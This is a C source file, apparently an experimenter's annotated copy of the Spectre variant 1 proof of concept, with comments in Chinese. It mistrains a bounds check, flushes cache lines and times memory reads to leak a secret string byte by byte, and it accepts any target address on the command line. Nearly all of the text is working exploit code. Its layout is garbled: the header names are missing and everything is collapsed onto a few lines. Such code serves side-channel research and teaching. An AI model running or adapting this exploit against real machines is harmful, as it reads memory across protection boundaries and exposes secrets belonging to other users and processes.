v1
v1#include#include #include #ifdef _MSC_VER #include #pragma optimize("gt", on) #else #include #endif #include #include // 数组1大小 16 // unsigned int array1_size = 16; // const unsigned int array1_size = 16; volatile const unsigned int array1_size = 16; // volatile unsigned int array1_size = 16; #define BIT 4096 // typedef unsigned char unint8 uint8_t unused1[64]; uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}; uint8_t unused2[64]; uint8_t array2[256 * BIT]; // 假设攻击者想要恢复的数据 char *secret = "The Magic Words are Squeamish Ossifrage."; uint8_t temp = 0; void victim_function(size_t x){ if (x < array1_size){ temp &= array2[array1[x] * BIT]; // array2[array1[x] * BIT] + 1; // array2[array1[x] * BIT] ++ ; // 自增是可以的 a = a+1 ; a++ ; // uint8_t temp1 = array2[array1[x] * BIT]; // array2[array1[x] * BIT]; uint8_t ccc = 1 ; 无效 // size_t inx = array1[x] * BIT; uint8_t temp3 = array2[inx] ; // 有效 // size_t inx = array1[x] * BIT; uint8_t temp3 = array2[array1[x]] ; // 无效 } } #define CACHE_HIT_THRESHOLD (80) void readMemoryByte(size_t malicious_x, uint8_t value[2],int score[2]){ static int results[256]; int tries, i, j, k, mix_i; unsigned int junk = 0; size_t training_x, x; // typedef unsigned long long size_t register uint64_t time1, time2; volatile uint8_t *addr; for (i = 0; i < 256; i++) results[i] = 0; for (tries = 999; tries > 0; tries--){ for (i = 0; i < 256; i++) { _mm_clflush(&array2[i * BIT]); } training_x = tries % array1_size; for (j = 29; j >= 0; j--){ _mm_clflush((const int *) &array1_size); for (volatile int z = 0; z < 100; z++){} x = ((j % 6) - 1) & ~ 0xFFFF; x = (x | (x >> 16)); x = training_x ^ (x & (malicious_x ^ training_x)); // training_x < 0x000F // 上面三行等价于 // x = j%6?training_x:malicious_x; // for(int xx = 0 ; xx < 100; xx++ ) ; //使用一定的for循环可以减少 上面j%6? 的 分支判断影响,可能是加强预测正确的判断 // printf("j=%d training_x = %d, x = %d n", j, training_x,x); victim_function(x); } for (i = 0; i < 256; i++){ mix_i = ((i * 167) + 13) & 255; // 计算缓存线路的地址来进行检查 addr = &array2[mix_i * BIT]; time1 = __rdtscp(&junk); junk = *addr; time2 = __rdtscp(&junk) - time1; if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size]) results[mix_i]++; } j = k = results[0]; for (i = 1; i < 256; i++){ if (results[i] >= results[j]){ k = j; j = i; } else if (results[i] >= results[k]){ k = i; } } if (results[j] >= (2 * results[k] + 5) ||(results[j] == 2 && results[k] == 0)) break; } // results[0] ^= junk; value[0] = (uint8_t)j; score[0] = results[j]; value[1] = (uint8_t)k; score[1] = results[k]; } int main(int argc, const char **argv) { size_t malicious_x = (size_t)(secret - (char *)array1); printf("secret address = %p,array1 address = %p, minus malicious_x= %pn", (void *)secret,(void *)array1, (void *)malicious_x); int i, score[2], len = 40; uint8_t value[2]; for (i = 0; i < sizeof(array2); i++) array2[i] = 1; if (argc == 3){ sscanf(argv[1], "%p", (void **)(&malicious_x)); malicious_x -= (size_t)array1; sscanf(argv[2], "%d", &len); printf("Trying malicious_x = %p, len = %dn", (void *)malicious_x, len); } printf("Reading %d bytes:n", len); clock_t start = clock(); while (--len >= 0){ // std::this_thread::sleep_for(std::chrono::milliseconds(1000)); readMemoryByte(malicious_x++, value, score); printf("Reading at malicious_x = %p... ", (void *)malicious_x); printf("%s: ", score[0] >= 2 * score[1] ? "Success" : "Unclear"); // 不是显示字符输出 ? printf("0x%02X='%c' score=%d ", value[0], (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); if (score[1] > 0) printf("(second best: 0x%02X score=%d)", value[1], score[1]); printf("n"); } clock_t end = clock(); // printf("%.6f n",(end-start + 0.0)/CLOCKS_PER_SEC); return (0); }



